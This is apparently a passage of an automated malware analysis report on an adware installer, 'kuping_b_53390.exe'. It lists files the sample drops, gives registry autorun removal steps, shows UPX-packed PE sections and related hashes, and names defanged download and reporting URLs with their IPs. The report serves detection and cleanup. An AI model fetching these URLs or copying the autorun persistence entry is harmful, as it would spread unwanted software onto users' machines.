C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\bg1.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\loading2.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\city-about.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\menu_move.png (440 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\Label-input-box.png (258 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\open.png (784 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\uphead.png (1 bytes)
C:\kuping4\QuickenFunctionConfig\home\HomeConfig.xml (1 bytes)
C:\kuping4\TempDownLoad\Home\Homeversion.ini (31 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\yellow.png (298 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\log-bck.png (543 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\danxuan.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\feedback\focus.png (142 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÃÂÂ\ui\mini\seach-btn.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\FeedbackDlgConfig\MainFeedbackDlg.ini (879 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\mail.png (263 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\Screen-saver.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\tag_focus.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\WebContro.ini (529 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\UpdateNotice\logo.png (970 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\function.png (392 bytes)
C:\kuping4\softset.ini (1051 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\install_icon.png (971 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\focus.png (199 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\drop-down.png (338 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\add-app-bg_01.png (974 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\sina_logo.png (638 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\app.png (987 bytes)
C:\kuping4\TempDownLoad\TagInfo\TagVersion.ini (29 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\MainSkin.ini (3 bytes)
C:\kuping4\Uninstall\skinConfig_un\skinconfig.ini (85 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\album.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\My-collection.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\begin.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\title-Modify-head.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\gray.png (313 bytes)
C:\kuping4\QuickenFunctionConfig\deskIco\status.ini (16 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\img_01.png (588 bytes)
C:\kuping4\Appsoftconfig\image\play.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\application\iconlist_bg.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\head120.png (1372 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\silder-fill.png (343 bytes)
C:\kuping4\Update\soft.ini (908 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\DownloadWebDlg\set-cancel.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\logo.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IconListEx\icon_focus.png (510 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\bg-1.png (794 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\bg.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\tailorBg.jpg (1764 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\cheak.png (564 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_3F\skinconfig\TongJICNZZ.dll (65 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\update.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\orange.png (327 bytes)
C:\kuping4\skinConfig\skinversion.ini (29 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\shuyeer.png (196 bytes)
C:\kuping4\Appsoftconfig\image\buttoncoculation.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ScreenSaverNavigation_Layer.ini (196 bytes)
C:\kuping4\Appsoftconfig\image\soft.xml (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\set_icon.png (782 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\upon.png (288 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\UpdateSkin.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\ImageLook\bg_wf.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\delete.png (486 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_3F\skinconfig\ĬÈÃÂÂ\ui\msgbox\bg_small.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\feedback\popmenu.png (678 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\check-box_focus.png (991 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\My-share.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\focus-l.png (222 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\about\about.png (1176 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\m.png (3 bytes)
C:\kuping4\MSGBoxSkin\UI\warning.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\¡Ì.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\page2.png (106 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\sure.png (634 bytes)
C:\kuping4\UserBehaviorStatistics.dll (471 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_3F\skinconfig\ĬÈÃÂÂ\MsgBox_1.ini (729 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\My-resources\list_theme.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\tooltipUi\logo.png (584 bytes)
C:\kuping4\kp4_Mini.exe (157 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\AllApplication_Layer.ini (1 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\input.png (212 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\Label-input-box1.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\continue.png (382 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\delete.png (486 bytes)
C:\kuping4\uninstall.exe (2145 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IconListEx\add-m.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\recover.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\SepLine.png (99 bytes)
C:\kuping4\TempDownLoad\Home\11275.jpg_0 (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\skin_bg_01.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\updown.png (280 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\HomePageShow_Layer.ini (3 bytes)
C:\kuping4\Appsoftconfig\APPversion.ini (59 bytes)
C:\kuping4\MSGBoxSkin\UI\faild.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\ImageLook\refresh.png (1 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÃÂÂ\ui\mini\seach.png (1 bytes)
C:\kuping4\Update\SkinResource\Exit.png (1 bytes)
C:\kuping4\Appsoftconfig\image\buttonplay.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\UpdateCheckPage.ini (261 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\loading2.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\UpdateInfoPage.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\CenterDlgConfig\MyBaoku.ini (3 bytes)
C:\kuping4\DeskTopPop.exe (1529 bytes)
C:\kuping4\Appsoftconfig\image\sou.png (196 bytes)
C:\kuping4\Update\SkinResource\IsNew.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\Boot-screen.png (196 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÃÂÂ\ui\mini\close.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\DownloadWebDlg\scroll.png (410 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\mennu-bg.png (363 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\blue.png (90 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\min.png (338 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\tooltipUi\cancel.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\collection.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\feedback\set.png (234 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\nextpage.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\BootScreenNavigation_Layer.ini (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\brown.png (286 bytes)
C:\kuping4\Update\SkinResource\BKStep1.png (902 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\icon.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\SettingMenuDlgConfig\MainMenuDlgSkin.ini (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\progress\progress.png (179 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\save.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\SystemThemeNavigation_Layer.ini (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\pink.png (290 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\wallpaper.png (196 bytes)
C:\kuping4\MSGBoxSkin\UI\error.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\doc_plus_icon&16.png (264 bytes)
C:\kuping4\unrar.dll (824 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\down.png (161 bytes)
C:\kuping4\Update\SkinResource\ProgressBar.png (984 bytes)
C:\kuping4\QuickenFunctionConfig\deskIco\DeskIconConfig.xml (8 bytes)
C:\kuping4\KPMsgBoxDll.dll (2694 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\feedback_icon.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\Silence-set_button.png (1 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\finish2.png (588 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÃÂÂ\ui\mini\small.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\focus-2.png (200 bytes)
C:\kuping4\TempDownLoad\Home\11274.jpg (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\delete-button.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\CenterDlgConfig\WebPage.ini (594 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\list-bg.png (96 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\mouse.png (549 bytes)
C:\kuping4\skinConfig\skinconfig.ini (84 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\Download-set.png (966 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\Multi.png (998 bytes)
C:\kuping4\login.dll (2185 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\right_bg.png (194 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\Application-Settings.png (953 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\My-share\bg.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\line_h.png (92 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\WebContrl_Layer.ini (775 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ImageLookDlgConfig\MainSkin.ini (129 bytes)
C:\kuping4\TongJICNZZ.dll (1333 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\application.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\scroll_down.png (982 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\black.png (316 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\start.png (941 bytes)
C:\kuping4\dgmon.dll (471 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\Input-box.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_3F\skinconfig\ĬÈÃÂÂ\ui\msgbox\close.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\view-bg.png (509 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\ImageLook\fail.png (196 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\lijiuninstall.png (784 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Screening-bg2.png (102 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\UpdateNotice\Alert.png (1 bytes)
C:\kuping4\Appsoftconfig\image\Iebuttonlogo.png (196 bytes)
C:\kuping4\TempDownLoad\Home\home.xml (1764 bytes)
C:\kuping4\livability.dll (510 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_3F\skinconfig\ĬÈÃÂÂ\ui\msgbox\btn_known.png (3 bytes)
C:\kuping4\Update\SkinResource\Fnish.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\fail.png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\op_40.tmp (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\WebContro.ini (617 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_3F\skinconfig\ĬÈÃÂÂ\ui\msgbox\cancel.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\show.png (413 bytes)
C:\kuping4\Kp_BootClr.exe (1137 bytes)
C:\kuping4\Repairer.exe (549 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\re.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\UpdateNormal.ini (641 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\backpage.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\white.png (283 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\set_1.png (522 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\kupingbg-03_03.png (980 bytes)
C:\kuping4\Appsoftconfig\image\cmd.png (196 bytes)
C:\kuping4\Update\SkinResource\Point.png (1 bytes)
C:\kuping4\BootStart.dll (157 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\cancel.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\add-app-bg_03.png (412 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÃÂÂ\ui\mini\logo.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\about\delete.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\notice\Alert.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\App-manager.png (654 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\display_shadow.png (115 bytes)
C:\kuping4\Universal\UniversalCpaSkin.rar (1098 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\app-button.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\content.png (416 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\delete.png (486 bytes)
C:\kuping4\MSGBoxSkin\UI\infomation.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\mennu-bg2.png (1 bytes)
C:\kuping4\Appsoftconfig\button.xml (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\tooltipUi\cut_button-hand.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\headbg.png (556 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\DownloadWebImageDlg\MainSkin.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\My-resources.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\about.png (606 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\dan_xuan.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\bg_vein.png (268 bytes)
C:\kuping4\Appsoftconfig\image\coculation.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\LocTween_Layer.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\login-btn.png (2 bytes)
C:\kuping4\Update\SkinResource\Cancel.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateNoticeDlg.ini (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\scroll_thumb.png (842 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\SeverTween_Layer.ini (1 bytes)
C:\kuping4\Update\SkinResource\BKStep2.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\screen.png (314 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\tip.png (591 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\set.png (549 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\notchoose.png (879 bytes)
C:\kuping4\version.ini (44 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\red.png (318 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\scroll_up.png (927 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\head60.png (392 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\up.png (160 bytes)
C:\kuping4\SystemConfig\LocWallpaleXml.xml (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\Software-update.png (998 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\ImageLook\loading.png (3 bytes)
C:\kuping4\Update\UpData.dll (2342 bytes)
C:\kuping4\Update\SkinResource\Update.png (196 bytes)
C:\kuping4\QuickenFunctionConfig\Setup\CpaConfig.xml (8 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\local.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\scroll_block.png (763 bytes)
C:\kuping4\IndividualCenter.dll (5389 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\list-bg2.png (2 bytes)
C:\kuping4\SkinCenter.dll (3635 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\myDownLoad.png (392 bytes)
C:\kuping4\Kpclick.ini (107 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ResourceNavigation_Layer.ini (974 bytes)
C:\kuping4\MSGBoxSkin\UI\yes_button.png (1 bytes)
C:\kuping4\Appsoftconfig\softtempfile\soft.xml (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IconListEx\iconlist_bg.png (314 bytes)
C:\kuping4\Appsoftconfig\image\buttonsou.png (196 bytes)
C:\kuping4\skinConfig\SkinSetting.xml (1 bytes)
C:\kuping4\MSGBoxSkin\UI\question.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\UpdateNotice\bkimg.png (429 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\Directory-box_bg.png (397 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\bg-4.png (287 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\feedback\submit.png (196 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\check-box.png (540 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\flowerpot.png (3 bytes)
C:\kuping4\Update\info.ini (18 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\doc_empty_icon&16.png (293 bytes)
C:\kuping4\Update\UDStatictical.dll (1882 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\choose.png (883 bytes)
C:\kuping4\TempDownLoad\TagInfo\list_xp.xml (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\finish-button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\SettingMenuDlgConfig\ConventionalMenu_Layer.ini (1 bytes)
C:\kuping4\KPConfig.inf (3 bytes)
C:\kuping4\Uninstall\installedSoftInfo.ini (984 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\kupingbg-02.png (588 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\share.png (472 bytes)
C:\kuping4\TempDownLoad\Home\11277.jpg (196 bytes)
C:\kuping4\SystemConfig\LocThemeXml.xml (416 bytes)
C:\kuping4\ThemeInstall.dll (863 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Screening-bg.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\caption-bg.png (417 bytes)
C:\kuping4\MSGBoxSkin\UI\bg_top.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\cheakskin\MainSkin.ini (1 bytes)
C:\kuping4\MSGBoxSkin\UI\cancel-button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\refresh.png (726 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\suspend.png (504 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\tempfile.tmp (184 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\apple.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\DesktopWallpaperNavigation_Layer.ini (196 bytes)
C:\kuping4\Update\SkinResource\PopupBox.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\tag.png (195 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\kankan.png (1725 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\feedback\delete.png (486 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\NoLogin_Layer.ini (941 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\My-resources\use.png (196 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\bg_01.png (392 bytes)
C:\kuping4\TempDownLoad\SearchBuff.ini (23 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\tag-bg.png (350 bytes)
C:\kuping4\MSGBoxSkin\UI\no_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\purple.png (325 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\progress_frame.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\failure.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\SettingMenuDlgConfig\DownLoadMenu_Layer.ini (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\min.png (338 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\xiezai.png (375 bytes)
C:\kuping4\TempDownLoad\Home\11278.jpg (588 bytes)
C:\kuping4\Update\SkinResource\Ok.png (196 bytes)
C:\kuping4\Update\SkinResource\FnishSmall.png (2 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\mennu_narrow.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\progress\icon_focus.png (317 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\skin.png (629 bytes)
C:\kuping4\Update\Skin.ini (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\jindutiao1.png (99 bytes)
C:\kuping4\ExpandPackCheck.exe (1725 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\add-app-bg.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\icon.png (1764 bytes)
C:\kuping4\MSGBoxSkin\UI\ok_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\focus3.png (357 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\AboutDlgConfig\MainDlg.ini (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Program Files%\kuping_b_53390.exe (37274 bytes)
%System%\config\SYSTEM.LOG (14385 bytes)
%System%\config\SOFTWARE.LOG (13075 bytes)
%System%\config\software (9257 bytes)
C:\KPToolBar\TempDownLoad\desktoptool\icon_xml.xml__0 (410 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT.LOG (6928 bytes)
%System%\config\system (8011 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\op_42.tmp (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DW_43.tmp (126 bytes) - Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"KPToolBar" = "c:\KPToolBar\Kp_BootClr.exe" - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
UPX0 | 4096 | 430080 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
UPX1 | 434176 | 339968 | 338944 | 5.47203 | 978d1656cdc8bd3ebe307efaa9932b8f |
.rsrc | 774144 | 32768 | 30720 | 3.3286 | 14d2b030b36e6b403314b58937aaf593 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Total found: 4
88a9b3e31998982eea246b762564c443
8a3740ff1eea52073cde0db49b0d398f
b9a2d5732a753d35e5225b719e77099a
53af0782e080923bfcca86f1cbc7530d
Network Activity
URLs
URL | IP |
---|---|
hxxp://d.union.kuping.cc/download.php/kuping_b_53390.exe | 222.186.60.27 |
hxxp://youqian.baidu.com/download/bdBrowserSetup-5810-ftn_1000039714.exe | 115.239.211.50 |
hxxp://tj.153624.com/report/ | 101.251.196.27 |
hxxp://d.union.kuping.cc/Public/conf/c-lock/1/1_4_3_2_2/53390.xml | 222.186.60.27 |
hxxp://xnop014.tlgslb.com/Public/Upload/Soft/kptoolbar_b_8.exe | |
hxxp://img.kuping.cc/Public/Upload/Soft/kptoolbar_b_8.exe | 222.174.254.106 |
hxxp://config.153624.com/Public/conf/c-lock/1/1_4_3_2_2/53390.xml | 222.186.60.27 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /download/bdBrowserSetup-5810-ftn_1000039714.exe HTTP/1.1
